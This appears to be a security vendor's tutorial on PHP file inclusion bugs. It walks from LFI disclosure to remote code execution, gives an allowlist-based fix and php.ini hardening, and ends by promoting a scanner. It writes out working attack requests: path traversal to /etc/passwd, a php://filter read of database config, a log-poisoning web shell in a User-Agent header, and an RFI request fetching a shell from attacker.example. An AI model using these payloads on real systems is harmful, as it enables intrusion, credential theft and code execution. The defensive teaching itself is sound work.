LFI vs RFI: From File Disclosure to Remote Code Execution
File inclusion bugs come in two flavors. Local File Inclusion pulls a server-side file into execution — leaking source and secrets, and escalating to code execution through php://filter, log poisoning or /proc/self/environ. Remote File Inclusion pulls in an attacker-hosted URL and runs it outright. The dividing line is include() versus a read-only readfile(), and the fix is to keep user input away from both.
php://filter/convert.base64-encodeOn this page
Path traversal reads a file you never meant to share; file inclusion runs it. The distinction matters because the same ../ that returns the bytes of /etc/passwd through a download endpoint becomes far worse when the sink is include instead of readfile — now the file is parsed and executed as code, not just streamed back. That single difference, a read-only call versus an executing one, is the line between disclosure and remote code execution, and it is the line this post is built around.
File inclusion splits into two cases. Local File Inclusion (LFI) is when attacker input chooses a path that the application includes from its own filesystem: it leaks source and secrets, and with the right wrappers or a poisoned log it escalates all the way to code execution. Remote File Inclusion (RFI) is the rarer, sharper version: the input is a remote URL that the application includes and runs, handing the attacker direct RCE with no escalation needed. This post walks both, the wrappers that turn LFI into RCE, and why the fix is the same for each.
How it happens
The root cause is passing user input to a language construct that executes whatever path it resolves. In PHP that construct is include/require, and the vulnerable shape is a templating or routing pattern that picks a page by name:
$page = $_GET['page']; include("/var/www/app/pages/" . $page . ".php");
For ?page=about this includes /var/www/app/pages/about.php and renders it — exactly as intended. But include does not merely read the target; it parses and runs any PHP inside it. Combine that with the fact that page is attacker-controlled and accepts / and ., and the same parameter that chose a template can now choose any file on disk — or, if the engine is configured for it, any URL on the internet.
Contrast that with the read-only sink. A download endpoint built on readfile($path) has an identical traversal exposure but a smaller blast radius: readfile streams bytes to the response and never executes them, so the worst case is disclosure. include($path) executes, so the worst case is code execution. Same bug class, very different ceiling — and that is precisely why swapping readfile for include is the whole story here.
A concrete attack: LFI to source, then to RCE
The first move is plain disclosure. A traversal chain walks out of the pages directory to a system file, and because the included file holds no PHP, its raw contents render straight into the response:
GET /index.php?page=../../../../etc/passwd%00 HTTP/1.1
Host: app.example
Reading the application's own source is more useful, but include-ing a .php file executes it instead of showing it — so the attacker reaches for the php://filter wrapper, which transforms the file before inclusion. Base64-encoding the source turns executable PHP into inert text that returns intact:
GET /index.php?page=php://filter/convert.base64-encode/resource=../config/database HTTP/1.1
Host: app.example
The response is a base64 blob; decode it and the database credentials are in hand. From disclosure, the attacker pivots to execution by getting their own PHP onto a path the include can reach. Log poisoning is the durable technique: send a request whose User-Agent contains PHP, so the web server writes that code into its access log, then include the log so the engine executes it:
GET / HTTP/1.1
Host: app.example
User-Agent: <?php system($_GET['c']); ?>
GET /index.php?page=../../../../var/log/nginx/access.log&c=id HTTP/1.1
Host: app.example
The log file is now a valid PHP script; including it runs the payload and c=id returns command output. Two more wrappers reach the same end: /proc/self/environ executes code planted in a request header on some stacks, and data://text/plain;base64,... (when allow_url_include is on) carries the payload inline with no file to poison at all.
The application only ever wanted to choose which page to show. Because the chooser was
includeand not a read, the attacker did not extract a file — they convinced the server to run one of their own.
A concrete attack: RFI is a straight line to RCE
RFI removes every escalation step. If allow_url_include is enabled, include accepts a URL, fetches it, and executes the response as PHP. The attacker hosts a payload and points the parameter at it:
GET /index.php?page=http://attacker.example/shell.txt? HTTP/1.1
Host: app.example
The server retrieves shell.txt, runs its PHP, and the trailing ? swallows the .php suffix the code appends so the URL stays intact. There is no filter trick, no log to poison, no local file to find — the attacker supplies the code and the server runs it. RFI is rarer now because allow_url_include defaults to off, but where a legacy config flips it on, a single parameter is remote code execution.
Why it matters
Both ends of this spectrum are severe, and they ladder:
- Source and secret disclosure —
php://filterreads application source,.envfiles and config, exposing credentials and the next vulnerability. - Local code execution — log poisoning,
/proc/self/environanddata://turn an include into a shell on the host. - Remote code execution — RFI with
allow_url_includeon is direct, unconditional code execution from one URL. - Full host compromise — once code runs as the web user, the attacker pivots to internal services, credentials and persistence.
The fix: keep user input out of include, allowlist what is left
The dependable fix is never to let user input pick a path that gets executed. Map an opaque identifier to a known file through a lookup table, so the user chooses an entry, not a path:
$pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
http_response_code(404);
exit;
}
include("/var/www/app/pages/" . $pages[$key]);
The included path is now drawn entirely from a fixed allowlist; no traversal, wrapper or URL the attacker submits can reach include, because their input only ever indexes the map. Layer the engine-level controls on top: set allow_url_include = Off and allow_url_fopen = Off in php.ini so RFI and the data:///php:// URL wrappers are dead regardless of application code. Where a genuine path must come from the user, validate it against a strict allowlist (^[a-zA-Z0-9._-]+$, no slashes) and canonicalize with realpath() to confirm it stays under the base directory — and if the file only needs to be served, use a read-only readfile() rather than include, so the worst case is disclosure rather than execution.
How SelfSec finds it
SelfSec's crawler identifies every parameter that feeds a file or inclusion operation — query strings, form fields and path segments — then injects both traversal sequences and inclusion-specific payloads: php://filter source-read probes, data:// and remote-URL inputs for RFI, and the encoded, double-encoded and null-byte bypass variants that defeat naive filters. It confirms a finding only when the response proves it: a known system-file signature like the root:x:0:0 line for disclosure, decodable base64 application source for a php://filter read, or execution of a benign marker payload for RFI and code-execution sinks, rather than guessing from the request alone. The entire scan runs locally on 127.0.0.1, your scan data never leaves your machine, and every finding ships with a reproduction request you can replay.
SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.
Do both things about Path Traversal
SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.